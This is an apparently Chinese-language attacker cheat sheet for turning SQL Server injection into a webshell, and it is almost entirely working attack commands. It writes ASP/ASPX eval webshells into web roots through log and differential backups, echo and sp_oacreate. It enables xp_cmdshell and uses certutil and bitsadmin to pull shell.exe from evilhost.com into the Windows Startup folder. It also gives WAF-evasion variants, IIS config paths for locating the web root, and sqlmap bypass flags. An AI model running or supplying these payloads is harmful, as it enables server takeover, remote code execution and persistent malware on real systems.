一:优先log备份
aaaa';alter database EOA_YWYM set RECOVERY FULL--
aaa';create table ssc (a image)--
aaa';backup log EOA_YWYM to disk = 'c:\ssc' with init--
aaa';insert into ssc (a) values ('888AAAAAAAAAA<%as99AA=REquEst("x"):EvaL(as99AA)%>888888888888888888')--
aaa';backup log EOA_YWYM to disk = 'E:\\web\sss9122.asp'--
EOA_YWYM 为数据库名
E:\\web\sss9122.asp 为网站物理路径
第一个disk = 有权限写入的目录。
第三个disk = 写入webshell的网站物理地址。(根目录写不进去可以考虑网站上传目录)
如果有waf的话可以考虑换个一句话写入。
<%%25Execute(request("go"))%%>
<%Execute(request("go"))%>
%><%execute request("go")%><%
<script language=VBScript runat=server>execute request("sb")</Script>
<%25Execute(request("l"))%>
0x3C25657865637574652872657175657374282261222929253E
二:差异备份:(数据库很小时使用,大了会不成功)
;backup database 库名 to disk = ‘c:\bak.bak’ ;–- //先手动备份一次
;create table 数据库名..表名(a image)–- //建立表,加字段
;insert into 数据库名..表名(a) values (0x一句话木马)–- //插入一句话木马到表中,注意16进制
;backup database 库名 to disk = ‘c:\shell.asp’ with differential , format ;-- //进行差异备份
开启 xp_cmdshell
EXEC sp_configure 'show advanced options', 1;RECONFIGURE;EXEC sp_configure 'xp_cmdshell', 1;RECONFIGURE;
执行命令
EXEC master..xp_cmdshell 'whoami'
certutil 下载文件
EXEC master.dbo.xp_cmdshell 'cd C:\Users\Public & certutil -urlcache -split -f http://evilhost.com/download/shell.exe';
bitsadmin 下载文件并写入系统启动项
EXEC master.dbo.xp_cmdshell 'bitsadmin /transfer n http://evilhost.com/image/shell.exe C:\ProgramData\Microsoft\Windows\Start Menu\Programs\StartUp\shell.exe'
CMD写一句话木马:
翻写遇到 < 及 >
均需要前面加入^
< = ^<
> = ^>
echo 一句话asp:
echo ^<%eval request("c")%^> >> D::\web\shell.asp
echo 一句话aspx:
echo ^ <^%@ Page Language="Jscript" validateRequest="false" %^> ^ <^%Response.Write(eval(Request.Item["w"],"unsafe"));%^> ^ > D:\web\ok.asp
利用sp_oacreate 写shell
declare @f int,@g int exec sp_oacreate "Scripting.FileSystemObject",@f output EXEC SP_OAMETHOD @f,"CreateTextFile",@f OUTPUT,"d:\\web_waiwang\\aacc.aspx",1 EXEC sp_oamethod @f,"WriteLine",null,"GIF89a<%@ Page Language='Jscript'%><%eval(Request.Item['ice'],'unsafe');%>"--
1. 能执行命令的话 where /R D:\wwwroot\ /T t_2810039303.jpg
2. 能读文件的话 读 iis配置
IIS5.0默认配置文件路径
C:\WINNT\system32\inetsrv\MetaBase.bin
IIS6.0默认配置文件路径
C:\WINDOWS\system32\inetsrv\MetaBase.xml
IIS7.x默认配置文件路径
C:\WINDOWS\system32\inetstr\config\applicationHost.config
3. 都不能的时候 看看找类似是网站目录的路径 访问ashx文件
4. 就注入点单引号 看看报错暴路径不。
5. iis7.5默认暴路径。
6. 看访问ip80 端口 是默认iis页面不 ,写shell到默认网站路径
7. 看看有没有网站备份 把路径做个字典都访问一下,还有配置文件中也可能会有网站物理路径。
1. 手工不行的话,用sqlmap --sql-shell 执行sql语句。还是不行的话可以考虑sqlmap 加 --hex
具体sqlmap语句的或者需要突破waf sqlmap 加 --proxy=http://127.0.0.1:8080 走burp再突破。